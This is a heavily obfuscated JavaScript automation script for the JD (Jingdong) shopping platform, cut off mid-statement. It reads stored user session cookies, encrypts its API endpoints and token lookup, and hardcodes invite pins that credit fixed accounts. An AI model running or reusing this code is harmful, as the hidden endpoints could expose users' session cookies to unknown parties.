48Bw4ozQR7CrMKrJsKJw7zCmsO5wostw63Cl8KlfcOdfBrDtsK3wpMwwqVvwr3DjC9Mw6HCjMOeZ2p2w6FSwoTCnUo=','QMOeKTtO','EMKZLg==','w5JfFsKEO8KX','w7PDiR5e','w6nDsjZxwqUhw7c=','wprDpcKLCw==','w6k+w6MlwovCjT3DisO6','wopCP2DCiA==','wpLCtnouw5XDrTI=','Xj/ChMO2FzDClMKUKMOwwqxTw7jCnS/Dryg=','ARHCssOowqsifQ==','w6l+wrgVf8Kuw5geAUnCssKMSWA+w7VY','wrHCnMKdw6JYdl/Dqg==','w5xJLMKPPsKGw6w=','wr9ELxV9w5PDtEFn','wpXDv8O9w45jIgM=','LWkowrDDnsO7UsOZw6A=','woB/w6A=','w7vDgwhGcT8=','w51FNMKfOsKA','w67DnsO2w6TDucK3wrg=','woHCn8Obw7/DscKeDMOaKMKiwpUpG8KF','w43Cv8OkPw==','Uz7Cr8O4GT3Cqg==','wpzCrsOaGxc+PsONI8Kzb8K5w6DDqw==','wr8nwqc9w57ChW4=','JMKvw4hTw6HCiVhewoDCiEEmw4zDrMKu','wobDtcKWBMKvVw==','w5XCocKJwrg=','w6LDssOfwrbDmcKiw5U=','d8Kvw43DmcOvYT09wqXCsFQ+wpEDRg==','W8O/wp15','B8KIBcOkXsOpwpQ=','w4/CsMOIwo/CiRbCsHPDjcKhQ8K8RcOqwo8=','Q8KlL8OTw5PDvCg=','wojCkljDvsKeCGVoWsKcfsKVw5Ylwoc5KsK9','w5cQXMKLZMOZ','wooTw6Ivw51cZw==','wod6wqJCw53ClXJuw6Fgw57DoAfCgA3DuTrDmw==','w5s/Bnk=','esKuwovDosOkeiU=','DBDDtMOTwqA5ZcObw6FABg8BaHpiYD8=','w49Rwr4zRMK4w6wSAQ==','BGINwrTDjsOMVMO9w7DCksKya8Kc','6I6c5Y2cwrp+wp7DjB7CisOD5omg5Yuo8LifjA==','44G25o6k56e844Kd6Ky95YSe6I6r5Y2S5Lik5Liy6LWW5Y6R5Lm1bkp9YjhxVeeYqeaOmuS+qOeUrMKVw6IXN8Kqw6fnmJTkuKrkuoDnrJXlianoj5flj60=','Ln/CigJWVRp5w4BRw5vCrjdOLnJKw6fCp3fCucKQw4zDvRTClgV0wqNsQHrCoW3Ch0jCgcOAAMKPOAQa','44G55o+056Sl44Oq6K2G5Yaw6Iyl5Yyg5p+C5a6T5pyx56e35ayJ5rOt5rGRw64fasKdRg==','w6bDkhfnlJzmi7Plv6zkvb7mk7jnt5vDp+afr+WsnOaep+eliMKM5bCv56i15bq+W+eBkuWFjeW4s+mBueeahzflj7Tnj4cbwq04wqjDheWNjuWNneiOluWMum3CoMKeDQw=','w4zDpT1cwpI=','Fl1Bchs=','w5s2SzBy','6KOc5oqB5Y+555qv6K+h5byqwoZL','LG/CoURGCwxlw4cCwovDs3sTZS0=','PHJ1TwY=','wrfCl8KEw7BZ','w7nDlVc=','GXh0Tg==','QsO5dDtm','D0zDmsOuOw==','woPCtsOpw4zDlQ==','KW/CijxL','IGEjwrPDkw==','w7vDgwNI','bcOEwoJMUwrCpcK4WQ==','wqRjw6vCqg==','w4LCscKOwrTCgg3CqA==','w6jDoGofw4g=','JW9GwrfDpcKXw7nCk8OJ','CWMzwr/DlsOqQA==','fcOzdQFz','BUt4','5oi05Y2xw4PDmBs5w5zCriM=','w5jDrWk9FMKnwprDk8Oa','wr7CuMKrw4VlfH7Di14=','w4jCp8Kd','w4vCtcKXwrU=','NndybRg=','w6MrbQdS','Z8KaU8OFDg==','wo3Dk8K3BcK2','w4nCscKUwrfClxE=','KBPCosOkwq4=','w4PDrsOgw6jDjA==','wqcjw7Qjw6g=','wrExwp02w5vClA==','w5jCpMOh','w6XDqkIZw4l/bT7CjxnDvRrCs8OZwqggAwnDiA==','P2XDlcOFNg==','ZRbCvMOWPQ==','XsOewqTCtcOq','woFxw7c=','w6nCpcO8MiTmj4PkuZznuZHmnqtf','w4tNKsKYOg==','w6nDuMOM','wqPDmhAAOcKkdQ==','XMOmwps=','5puZ5pWNasOdNMKKV+W9leW4k8KX','A8KiVw==','w7jotqjotKPkvpPlhbnnu4rotLPljZnlhrXpg4vli7Tli5po5aeq5oKI5bya5Yin6LWo5oic5pyl5Yqv5Lq45YmE5Yi15p635Ly35Yuy5Lqvw7N5w6fDq8K2W+S9t+iChOWJhuWIhcKf','MGrCkgdAHA==','EXB1XzTCng==','w4LDhG8lw7M=','wp/CksKC','wqg3wqAx','wrwuw7Ukw6U=','wofDmnUwbA==','w5bCpMKWwrnClw==','DMKIH8OnS8O1','w6l1wo4R','IsKkwp0=','woXotrHotYDlhLTnu5F3w7/CqsKYw7QyMOS8rOiCg+S5suS7ruWauOWtkeebi8OOdx7ovr7oo5nli53lirko54Se5ZKO5Lmz6Le/5Y2b5Yaq6YO95Luj5Ymq5Lut55uG5Zqk5a+D5L65572O5ZCE5bmo5ZO66Zi95p2J5ouG5YyA6L2J6KCR5Yul5YmmM+Wmlemeu+iGpuW0vui1g+WNqOWFiemDheS6seWLlsKX6K2p572H542/5aKa5Y+v6YW+wrgWwo1cw7LChj0Iwr96Kl8yD8K0B8OHJ8KvdlzkuLYeKgDChhzliZblv5rlkLzotKPljIHlhpnpg77kuZHli5Vz','w5g6GXjCpg==','QjrCt8OpHTo=','w40jGWXCt1I=','GnhtSDk=','AMO4wp0=','H8K4Q3Y=','w6TDmsO2w6PDsA==','w7rDi8Ouw6nDu8Km','w73DiFQUOMKHwpc=','wpvCuhrDsMKc','XsKNUsObPMKK','dMKlwpvDo8O9QSI=','JMKIQ3rCjg==','JmvDuMOBIw==','w4PDgHUhw69C','BcKiWXA=','wrvDvCwHDQ==','K2rCihFN','wofDscKMAMKz','TcKuP8OSw4o=','GVt0TRw=','wpVFNhdgw5PDrGAif8KxwpI=','w5k/G0PCt1fCuWLCsw==','wp7CnMKV','woXlvp3lpo/jgKTkuajkuZ7otrnljJM=','w5IbVsKJaA==','w4gGFcOuD0rDqA==','wrjDoUAVVGTCuj5c','wobDv8Kf','w4jDrjN3wonCpG57esKeQAVl44Oh5byv5aSX6YO26K6Y5YqI5Yic44Oyd23DlMOyUkLDisOUSirDmMOtwrzDosOt','PAPCssO4wrI=','wp/CpMOhFAA=','wqxnw7HCrCgL','w4BcwoUbag==','wqLDmg0ULMKr','wqwHwoErw4k=','w4IkEXTCqg==','w6gUQBdI','wrbCsMK7w4Fl','wprCr8OrFgwv','G3x3TCXChA==','T8O1Syx1','wpjDvsOFw4VlPww=','wqbDm8KhL8KXUMOqwqzDpA==','w6xtwrsLw58=','wpcOw4Evw5Q=','w7EMJ1TCvQ==','wprDv8Oow45nJBE=','asKEecO4Lw==','woHClsKGw61QZ3Q=','asK4T8OrDA==','w5ZfPw==','VMOXaT0=','bMKtTMOiMA==','w58aXMKJ','wo41w6wFw7Y=','wp5XJ0HCk1zClk0=','UxjClMO6FQ==','w6R/wpM3f8Kiw7UE','w4/Cp8K0wpc/a19jWMOCauOBveW8qeWkleWLq+WIj+WmheWMn+i1jOi3qOODk8KCZkfDoDXDocOEwprCrsKOAg==','w47DkUQFOA==','B2gjwr7Djw==','RMOMwq7CisOQ','A8KoXnnCuz8=','wrrDujEBLg==','SMOhwr9lfw==','w4gFXsKFZA==','wrVBw5DCvwk=','w7jDiVc=','6Z+16LSR6Lak5pen6ZSmKg==','LWbDmsOAIQ==','wqDClzrDhMKF','ecKkwpHDow==','Xj/DqcODEibCssKiNMOzwqt4w63CqzE=','w51eMcKOMcKWw74ucWY=','wpFRNjVH','wqsEw4Axw6k=','woM7wr3DusKK','eMOuwqlYwpw=','w7jDtw1nwq4=','5pqy5pa7wqodTgpbbMKC5oik5Yil8Y+OkA==','w6dkwqczw4lIw5ApAsO+wqnDhcKc','w4rDh8O/wpvDt8KYw6c=','woLDtDo/DMKse8Kyw70=','6I2L5Y+9FBF/w5PDkD915oiO5Ymc8YKuoA==','dcOTayxs','w6tuwr8oew==','w7rCmMO9','wqDDng4W','woHDmHVT','w4YQVzRN','wqHDlBMVHA==','w4UIaDNS','OmlRWjU=','wop7w6R5w5bCjmo=','QMOEwqJnUA==','FhXCtMO/wq8=','w5/CpcOzLg==','wpbDu8O9w4s=','A2DDg8OW','QDTCsMO5Fg==','wo5Xw5N7w6A=','J8KBQUfCrg==','w6Eyfjh6','wp9AOmzCkk3CtFfDvCY=','R8Kaf8OmHg==','Amkg','w7jlh6vmjZnkvLEi','ccKuwpHDocOxZg==','5Lmk5aa25Yyx5L6X5p+u6Ly96KGt6YKB6KyF5YmU5Yq0cw==','w5caVQ==','w6vDtsOGwrc=','w7g2wrwyw5rCnwU=','w4QNaA==','w5UUX8KJ','w77DvAtwwrA=','w6Fvwoo=','asK5HsOrWsOz77+5','Ln/CigI=','wpPDj20=','D3XDg8OHSnPCncOkTcKXw58YVMK9XcOMTcORwpDCqcOQPcOxwpVSw7rDiMOUDMOtY8KJcMK9wrDDhip3wqZuwqrCjX9CTMKp','FMKFFMOu','w43Do8OFwrvDrg==','w4HDj8Osw6nDjg==','w7zCnsOwCH1ow4TCrsOMwqI=','w6DCpcKewrTCqw==','wrUgwp8ow5o=','N1IewpjDmQ==','wqsOw7wJw6o=','w4gBU8KYZcOCwobClGA3','w5HCpcOw','wq1dOGzCkuaPueS5gOe7reacjm8=','wp8IwqLDvcKO','wobCnsO3w6bDv8KANg==','DMKCFg==','5puE5pS5wqjCl8ONw5zCueW8neW7gsOu','w44NPg==','wowtwrg8w5HmjKHkuqvnuaXmnZVB','wqgjwqEqw5o=','R8Olwok=','woATw6U4w51PYw==','5pmR5pWkwq7Cv8KIHMKn5byu5bqHw64=','wofDj209eX/CvA==','w4fCnsOcJiY=','RcOgwrVl','HMK5QnfCoTDDqUzDmQ==','SMO/wozClMOM','w7vDpSRLTw==','wqPDmhcbN8Kn','YMKHacO+Mw==','woV7w7F5w5LCiHg=','wp0NwpLDvsKC','wpnDtcKMB8K6S8Os','wojDjsOCw5tu','w6Bzwoo=','RcKmDcOPw5A=','QMKvNcOS','wpHDk8OKw4xV','WMOcSxN2','w7wPThZI','wo7Dv8KWBg==','wokQ5pOL6L6v5oiB6IeN5p6r5L6Z5pWW5oiu5YWe576W5Lq+5YqW56GP55iY77y66K+F5LqI6Ket55qp5Y+H5oiC5p2f5Yur5ZmKw588dz0aw5zCnyg=','VMKhKcOEw5c=','wr17CeiuieaxluWmh+i2mw==','QcOuwqR+wozDuwXDnsK3HxzDuCs=','wrjDusKyD8KN','NmQEwpTDjQ==','TMKvSMOZDA==','UxnCtcOXNQ==','UcKSwq/Di8Os','wowEwqbDv8Kb','wq1QIGPCng==','R8KYwovDlsOs','wrDDumA7Vg==','CsKbwoNuw4U=','esKuwos=','w7DDmBNdInXCo33ClVNhPH8dY8OTw5bDpzfDh8Kvwo8Hw5FxDxnCvcOnM8OZw6bCk8Kowpdxw6DDnsOvf8ObLhzDtcO+wooywrk=','w7g/Sidy','w505ccKDfg==','fMKNUsO1CQ==','FcO2wqh0VA==','G8KFwqlpw60=','woxLw4dcw40=','w7PDrnE/LA==','w784dgxt','P2JmwpbDhw==','w4gmesK0WA==','w69SwoQzew==','w6fCr8OYMlg=','wp4aw78ow5k=','XMOswpLCn8OSw5E=','wolEJQp4','QsOCwqnCosOC','EXV2RCM=','w6h1woMvw6U=','w6BkwrQWw6U=','HGcpwr/DmMOz','BHVwSDQ=','wofClMOj','wopGIWDCkk7CjVjDqw==','ChvCoQ==','w6HDvClR','C8OLwr5Y6KyC5rOr5aWB6LaV77+v6K6H5qK35p2457yU6LSr6Yek6K2n','wr/Dm8Oow4Rp','RcKzwr7DsMO3','wpwdwqLDn8Ky','wphiAhVd','woYHwqbDp8KfQR/CmsK0T8ORdA==','B13Cvwpu','wpzCvXgjw4DDvAEjMMOCD1w=','5LmD6YKy6K6k5Yqg5Ymn5oi55Ym7EuiMpeW/gg==','HndvQiXCicOnHcOMwo1OLw==','56Sd5YqcwoM=','w6lJwq83w7k=','wo5eLixxw4HDn3cx','w4Zmwr4Fw74=','wpjDpcKWMcK+SMOswrfDrg==','5LmO6Lex6LeI5Yuw5YqD5oib5YmCe+iOheW+hOeKhueyvQ==','w6rDmQl/fS3DrWXClQ==','CnLDkA==','AcKsXXs=','5LmZ5LuP6LSo5Y69','wpvDtMOtw496','w6PChcO2','wrfDgOaSu+i+h+aJm+iEieaflOS9rOaUjuaJtOWHm+e9j+S5iuWLk+ehkOebg++8j+ish+S4tOilvuebieWOjOaKs+aekuWLtuWYvkttwpPDqMKQM8KBw4E=','PsKqwoh/w64=','aMOVwqFwSQ==','IsKkwp1Jw7nClA==','w71hwp8vw5U=','w6LDpHoow7A=','SMOHaiBl','w58sRSd0','Ik0ewpfDo8OxSsO2w4o=','AhXCssOt','wqZow5J+w6M=','wo7CmQ3DpMKGFQ==','wpdCKAhC','O2dIwpDDlA==','wovCmBzDiMKAAk5SRMKTesKY','PMKee3fCug==','w4zCusKMwrnClxzCm0nDiMK1X8KH','wpnDpcKXCsKv','UjXCncOkMA==','wozDvsK+G8KT','w6vDpR1uYg==','w4sML8OoHEbDlMOJRl7ClXI=','5LuN6YKZ6K+u5YqC5YuK5ou85YiqVOiMjOW9uw==','56aG5YiiFQ==','5YiA5Yul5aS+6LWE77yX6Kyu5aeT5YymwqA=','ZuW3uee4sea6kxbku5Xnu6zkuoDliIvliq/kuLzDrOaXuemco+aCqOWGleasj+WJoOWJnxI=','wpXCtMK3w51Q','w53DkHUUw75dQhPCow==','OcOYwp92SA==','w791woMOw5Vtw4Q1Mg==','5LmP6LaI6Lef5Yuj5Yiv5oqJ5YuMauiPsOW8tOeKqueylg==','QsO8wpLCqsODw47Ctm3Cng==','woIawrc=','B0Vywp4=','5LmB5Lmq6Law5Y68','wqfDkQcWIA==','A2NowrfDhA==','44O95o+O56aq44CM6K2A5Yay6I685Y+n5Lik5LiS6LaO5Y2+5LmzwoY9w6Y4w5zCryPnm6rmj4rkvIbnlr/ChMKkVkhOwrTnmbnkuKPkuYbnrqDliZLojpzljYY=','WMO9wojCiMOVwoPDuDDCmMKxBU/Cv8KXShtkCsK1wozDrCLDtsOKwq3DqsKHNCJqcMOUwrcmGn0hAMONwr7Dv8KKdg==','w6TDlQZmwoU=','w5MQXsKcT8OXwrDCl2g=','wrdJLBZs','LcKqwpRiw6TCkn5pwpfCkV8=','w48tPmLCow==','wpzCvXgjw4DDvAwgMsOPEQ==','wqNjw7HClDQGIFk=','wrpmAhF+','wpRyw6Npwo4=','5pyD5a+W5p+P56aw5a2q5rC85rG2w7DDp0UVCOWlhOaVhQ==','DBDCjMOjwrMEacOqw5xBGwMb','44K/5o2156Sh44GX5p++5a6I5pyq56WdwrMzw5ovwoLlpqXmlrnvvb/orrHphojmlL7ojYLljZk=','woLCtMOX55a95oqp5b2J5L6y5pK057W/w6vmnq/lr7vmnbvnp5fCqeWzsueoq+W7hMKH54O/5YS75bii6YGQ55u/w7HljKvnjq/DkDfDs1fDq+WMk+WOr+iNo+WOhMKzGwQCw7o=','BDvDjkIU','wr8cwqHDlsKT','CWDDpcOyMg==','5Lmi5LqjIBw3wqh5wrLlpqLmlpw=','G3Z+','J8Klwp5pw7M=','MsOt57up5LiV6Z6t5ZGa5Y+V55qu5Lia6L+g6KOn6YCV6K2e5Yu/5YudwqA=','woAXw6Y=','OsK5wpNh','I8Kqwoo=','w48HW8KB','w5PDucOow4TDqw==','wo5Xw7HCogo=','eg7CtcO1Lg==','ccKkwpg=','TOi0reWMiQ==','w4zCusKewrXCmw==','NATlvJ/lpLDnuajlpoXljZnDlsO8','aXvovIDoo5Dpg7jorr7liaLliaY=','HEnClDZW','w6PDsiM=','6IWR5baE6LSU5Yyb77yc6LWC6LyC','w5MvVyhu','wqs3wrA6w5rCgnw=','w6t/wosPQ8Kjw6YDGkzDuw==','ExnCvsOuwrw=','eDTCk8O3KQ==','XsOnwpZzwoM=','wo0HwrjDtMK9','VjXCs8OmLg==','5oCh55i/6YCC6K235Yix5YmY5p+j5L2n5bS/6IGZ5bOXw54=','wrTDrjs6LQ==','bDzCq8OMOQ==','eMO/wr/CjsOl','L35pexA=','L8KONMOaRQ==','wqAKwpXDlMKR','5bab57u96K+65aaG5Y26w5g=','w4/li4DliYvovYnmi73ogKHmrKnCmcKxR8OGfsO6X3Fy5pmG5L2F6Ial5be+wpg=','w7/Cn8OiFA==','S8KvwrPDkMO/','QMONwqdGwrY=','w4nCu8Kd','5YqE5Ymm5aSP6LaX772T6KyK5aWE5Y6cCw==','wonltoznu4DmuoAo5Lmx57m35Li75Yip5Yma5LmnCuaXqemek+aBheWEheatveWJi+WKoUE=','wrsSw5odw4Y=','BsK0J8OKcQ==','f8KdwonDnMO/','wolow4rChAQ=','w4RqwrgTw6g=','5b6p5aa157uW5aSc5Y+Qw6s=','w7jli6vliYhT','w7vCssOWKns=','BCLCsMOWwrA=','wpPCuMO3HgoEDsObMw==','VcKqHsOEw7g=','pjSICGFEMLsjianmi.coTmM.Uvu6=='];(function(_0x3d3b7d,_0x111c4e,_0x1e3646){var _0x2c9415=function(_0x6216f5,_0x5b5d64,_0x1f6cb4,_0x578720,_0x4dc4ff){_0x5b5d64=_0x5b5d64>>0x8,_0x4dc4ff='po';var _0x447325='shift',_0x22c0af='push';if(_0x5b5d64<_0x6216f5){while(--_0x6216f5){_0x578720=_0x3d3b7d[_0x447325]();if(_0x5b5d64===_0x6216f5){_0x5b5d64=_0x578720;_0x1f6cb4=_0x3d3b7d[_0x4dc4ff+'p']();}else if(_0x5b5d64&&_0x1f6cb4['replace'](/[pSICGFEMLnTMUu=]/g,'')===_0x5b5d64){_0x3d3b7d[_0x22c0af](_0x578720);}}_0x3d3b7d[_0x22c0af](_0x3d3b7d[_0x447325]());}return 0x7a4ff;};return _0x2c9415(++_0x111c4e,_0x1e3646)>>_0x111c4e^_0x1e3646;}(_0x474f,0x19a,0x19a00));var _0x2f75=function(_0x34824b,_0xe0fe79){_0x34824b=~~'0x'['concat'](_0x34824b);var _0x5d8a14=_0x474f[_0x34824b];if(_0x2f75['JfpRoE']===undefined){(function(){var _0x15df9f=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x256f31='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x15df9f['atob']||(_0x15df9f['atob']=function(_0x180e02){var _0x52ad3d=String(_0x180e02)['replace'](/=+$/,'');for(var _0x8567c7=0x0,_0x3d670e,_0x2ee118,_0x5a95f6=0x0,_0x24f082='';_0x2ee118=_0x52ad3d['charAt'](_0x5a95f6++);~_0x2ee118&&(_0x3d670e=_0x8567c7%0x4?_0x3d670e*0x40+_0x2ee118:_0x2ee118,_0x8567c7++%0x4)?_0x24f082+=String['fromCharCode'](0xff&_0x3d670e>>(-0x2*_0x8567c7&0x6)):0x0){_0x2ee118=_0x256f31['indexOf'](_0x2ee118);}return _0x24f082;});}());var _0x3d03d9=function(_0x53076e,_0xe0fe79){var _0x1ea037=[],_0x1b0eea=0x0,_0x4d2a2b,_0x341cc3='',_0x52aaa2='';_0x53076e=atob(_0x53076e);for(var _0xeaf335=0x0,_0x441757=_0x53076e['length'];_0xeaf335<_0x441757;_0xeaf335++){_0x52aaa2+='%'+('00'+_0x53076e['charCodeAt'](_0xeaf335)['toString'](0x10))['slice'](-0x2);}_0x53076e=decodeURIComponent(_0x52aaa2);for(var _0x1ea3b1=0x0;_0x1ea3b1<0x100;_0x1ea3b1++){_0x1ea037[_0x1ea3b1]=_0x1ea3b1;}for(_0x1ea3b1=0x0;_0x1ea3b1<0x100;_0x1ea3b1++){_0x1b0eea=(_0x1b0eea+_0x1ea037[_0x1ea3b1]+_0xe0fe79['charCodeAt'](_0x1ea3b1%_0xe0fe79['length']))%0x100;_0x4d2a2b=_0x1ea037[_0x1ea3b1];_0x1ea037[_0x1ea3b1]=_0x1ea037[_0x1b0eea];_0x1ea037[_0x1b0eea]=_0x4d2a2b;}_0x1ea3b1=0x0;_0x1b0eea=0x0;for(var _0x205aaf=0x0;_0x205aaf<_0x53076e['length'];_0x205aaf++){_0x1ea3b1=(_0x1ea3b1+0x1)%0x100;_0x1b0eea=(_0x1b0eea+_0x1ea037[_0x1ea3b1])%0x100;_0x4d2a2b=_0x1ea037[_0x1ea3b1];_0x1ea037[_0x1ea3b1]=_0x1ea037[_0x1b0eea];_0x1ea037[_0x1b0eea]=_0x4d2a2b;_0x341cc3+=String['fromCharCode'](_0x53076e['charCodeAt'](_0x205aaf)^_0x1ea037[(_0x1ea037[_0x1ea3b1]+_0x1ea037[_0x1b0eea])%0x100]);}return _0x341cc3;};_0x2f75['UmxcWv']=_0x3d03d9;_0x2f75['ahOpZE']={};_0x2f75['JfpRoE']=!![];}var _0x4d2bb2=_0x2f75['ahOpZE'][_0x34824b];if(_0x4d2bb2===undefined){if(_0x2f75['buprTk']===undefined){_0x2f75['buprTk']=!![];}_0x5d8a14=_0x2f75['UmxcWv'](_0x5d8a14,_0xe0fe79);_0x2f75['ahOpZE'][_0x34824b]=_0x5d8a14;}else{_0x5d8a14=_0x4d2bb2;}return _0x5d8a14;};const isRequest=typeof $request!=_0x2f75('0','aWnF');const JD_BASE_API=_0x2f75('1','[c5e');const jdCookieNode=$[_0x2f75('2','Huk@')]()?require(_0x2f75('3',']oVs')):{};let invite_pins=[_0x2f75('4','[c5e')];let run_pins=[_0x2f75('5','bIbB')];let friendsArr=[_0x2f75('6','xFT#'),_0x2f75('7','lCrz'),_0x2f75('8',']oVs'),_0x2f75('9','f2Z1'),_0x2f75('a','DDc8'),_0x2f75('b','t3gf'),_0x2f75('c','&9ZX')];let cookiesArr=[],cookie='';let nowTimes=new Date(new Date()[_0x2f75('d','YEe$')]()+new Date()[_0x2f75('e','T)no')]()*0x3c*0x3e8+0x8*0x3c*0x3c*0x3e8);const headers={'Connection':_0x2f75('f','gywN'),'Accept-Encoding':_0x2f75('10','Fyq1'),'App-Id':'','Lottery-Access-Signature':'','Content-Type':_0x2f75('11','xFT#'),'reqSource':_0x2f75('12','f2Z1'),'User-Agent':_0x2f75('13','RmFY'),'Cookie':'','openId':'','Host':_0x2f75('14','DDQ2'),'Referer':_0x2f75('15','j$g9'),'Accept-Language':_0x2f75('16','uUNQ'),'Accept':_0x2f75('17','uUNQ'),'LKYLToken':''};if($[_0x2f75('18','DoG6')]()){Object[_0x2f75('19','j$g9')](jdCookieNode)[_0x2f75('1a','u1ko')](_0x3e4504=>{cookiesArr[_0x2f75('1b','t3gf')](jdCookieNode[_0x3e4504]);});}else{var FWiKYz=_0x2f75('1c','#22D')[_0x2f75('1d','x2bQ')]('|'),HSpQEB=0x0;while(!![]){switch(FWiKYz[HSpQEB++]){case'0':if($[_0x2f75('1e','fsS*')](_0x2f75('1f','#8i1'))){invite_pins=[];invite_pins[_0x2f75('1b','t3gf')]($[_0x2f75('20','VU!4')](_0x2f75('21','DDc8')));}continue;case'1':cookiesArr=[$[_0x2f75('20','VU!4')](_0x2f75('22','sBG4')),$[_0x2f75('23','DoG6')](_0x2f75('24','skPA')),...jsonParse($[_0x2f75('25','XXgT')](_0x2f75('26','r@HV'))||'[]')[_0x2f75('27','f2Z1')](_0x347e0a=>_0x347e0a[_0x2f75('28','j$g9')])][_0x2f75('29','DoG6')](_0x5de4b3=>!!_0x5de4b3);continue;case'2':if($[_0x2f75('2a','FxP2')](_0x2f75('2b','WZTw'))){run_pins=[];run_pins[_0x2f75('2c','aWnF')]($[_0x2f75('2d','#8i1')](_0x2f75('2e',']oVs')));}continue;case'3':if($[_0x2f75('2f','#22D')](_0x2f75('30','bIbB'))){if(run_pins[_0x2f75('31','t3gf')]>0x0){run_pins[_0x2f75('32','Fyq1')]($[_0x2f75('33','$laD')](_0x2f75('34','ZzmZ')));}else{run_pins=[];run_pins[_0x2f75('35','gywN')]($[_0x2f75('36','RmFY')](_0x2f75('37','Fyq1')));}}continue;case'4':if($[_0x2f75('38','iTVo')](_0x2f75('39','[c5e'))){if(invite_pins[_0x2f75('3a','ZXWk')]>0x0){invite_pins[_0x2f75('2c','aWnF')]($[_0x2f75('3b','Q$kf')](_0x2f75('3c','f2Z1')));}else{invite_pins=[];invite_pins[_0x2f75('3d','xFT#')]($[_0x2f75('3e','ZzmZ')](_0x2f75('3f','VU!4')));}}continue;}break;}}async function main(){var _0x4557b4={'GyGJp':_0x2f75('40','DDc8'),'GEqYS':_0x2f75('41','r@HV'),'APrPo':_0x2f75('42','gywN'),'BaPeq':function(_0x1d1ee9,_0x399e60){return _0x1d1ee9(_0x399e60);},'xOpcF':_0x2f75('43','VU!4'),'hMmYK':_0x2f75('44','DDQ2'),'odtNn':function(_0x4d195a){return _0x4d195a();},'Ngdhd':function(_0x291699,_0x59ac28){return _0x291699===_0x59ac28;},'AnkFI':_0x2f75('45','f1T4'),'JUbfI':_0x2f75('46','u1ko'),'JgmwQ':function(_0x5d5149){return _0x5d5149();},'gCOfm':function(_0x71899a,_0x5210f5){return _0x71899a<_0x5210f5;},'JUbhT':_0x2f75('47','u1ko'),'XdbrF':function(_0x2eb243,_0x5ec4d5){return _0x2eb243===_0x5ec4d5;},'QMgJE':_0x2f75('48','Le]x'),'nWXML':_0x2f75('49','[PRY'),'QXcoY':function(_0x3d7d0c,_0x4df9f0,_0x111da5){return _0x3d7d0c(_0x4df9f0,_0x111da5);},'yLpQh':_0x2f75('4a','Le]x'),'KEsdA':_0x2f75('4b','DDQ2'),'AjOvS':function(_0x49d12e,_0x455ef6,_0x273055){return _0x49d12e(_0x455ef6,_0x273055);},'uCOtU':function(_0x138629,_0x29e676){return _0x138629(_0x29e676);},'nBmfM':function(_0x52ec91,_0x2350dc){return _0x52ec91+_0x2350dc;},'Zwttx':function(_0x1394b4,_0x502df3){return _0x1394b4>_0x502df3;},'CFbdz':function(_0x34baf5,_0x598918){return _0x34baf5-_0x598918;},'tERrv':function(_0x55c08b,_0x2303f6){return _0x55c08b-_0x2303f6;},'DCIHT':function(_0x24c50f,_0x9ed92e){return _0x24c50f>=_0x9ed92e;},'amVWo':function(_0x34abb2,_0x773e24){return _0x34abb2===_0x773e24;},'zxWdh':_0x2f75('4c','Le]x'),'ZFREo':_0x2f75('4d','sBG4'),'cCzNJ':function(_0x4f778f,_0x237fa4){return _0x4f778f>=_0x237fa4;}};if(!cookiesArr[0x0]){$[_0x2f75('4e','IbaU')]($[_0x2f75('4f','Le]x')],_0x4557b4[_0x2f75('50','uUNQ')],_0x4557b4[_0x2f75('51','sb)9')],{'open-url':_0x4557b4[_0x2f75('52','WZTw')]});return;}const _0x5e15f3=await _0x4557b4[_0x2f75('53','DDQ2')](readToken);if(_0x5e15f3&&_0x4557b4[_0x2f75('54','r@HV')](_0x5e15f3[_0x2f75('55','j$g9')],0xc8)){$[_0x2f75('56','wUli')]=_0x5e15f3[_0x2f75('57','Huk@')][0x0]||$[_0x2f75('58','Fyq1')](_0x4557b4[_0x2f75('59','qp(7')]);}else{$[_0x2f75('5a','f1T4')]=$[_0x2f75('5b','r@HV')](_0x4557b4[_0x2f75('5c','uUNQ')]);}console[_0x2f75('5d','f1T4')](_0x2f75('5e','sb)9')+$[_0x2f75('5f','IbaU')]+'\x0a');if(!$[_0x2f75('60','sBG4')]){$[_0x2f75('61','Fyq1')]($[_0x2f75('62','Fyq1')],_0x4557b4[_0x2f75('63','Le]x')],_0x4557b4[_0x2f75('64','[PRY')]);return;}await _0x4557b4[_0x2f75('65','YEe$')](getFriendPins);for(let _0x1fcc24=0x0;_0x4557b4[_0x2f75('66','t3gf')](_0x1fcc24,cookiesArr[_0x2f75('67','Fyq1')]);_0x1fcc24++){if(_0x4557b4[_0x2f75('68','VU!4')](_0x4557b4[_0x2f75('69','FxP2')],_0x4557b4[_0x2f75('6a','Q$kf')])){if(cookiesArr[_0x1fcc24]){if($[_0x2f75('6b','#22D')]()){if(process[_0x2f75('6c','aWnF')][_0x2f75('6d','qp(7')]){if(_0x4557b4[_0x2f75('6e','sb)9')](_0x4557b4[_0x2f75('6f','#8i1')],_0x4557b4[_0x2f75('70','PHIh')])){try{let {body}=resp;console[_0x2f75('71','f2Z1')](_0x2f75('72','aWnF')+body+'\x0a');body=JSON[_0x2f75('73','DoG6')](body);console[_0x2f75('74','$laD')](''+body[_0x2f75('75','7uGH')]);}catch(_0x492e5c){console[_0x2f75('76','PHIh')](_0x2f75('77','YEe$')+_0x492e5c);}}else{console[_0x2f75('78','T)no')](_0x2f75('79','sBG4'));let _0x5ca1ff=[];Object[_0x2f75('7a','DDQ2')](jdCookieNode)[_0x2f75('7b','Le]x')](_0x3f0ce1=>_0x3f0ce1[_0x2f75('7c','qp(7')](/pt_pin=(.+?);/))[_0x2f75('7d','sBG4')](_0x7ba27=>_0x5ca1ff[_0x2f75('7e','#22D')](decodeURIComponent(_0x7ba27[_0x2f75('7c','qp(7')](/pt_pin=(.+?);/)[0x1])));run_pins=[...new 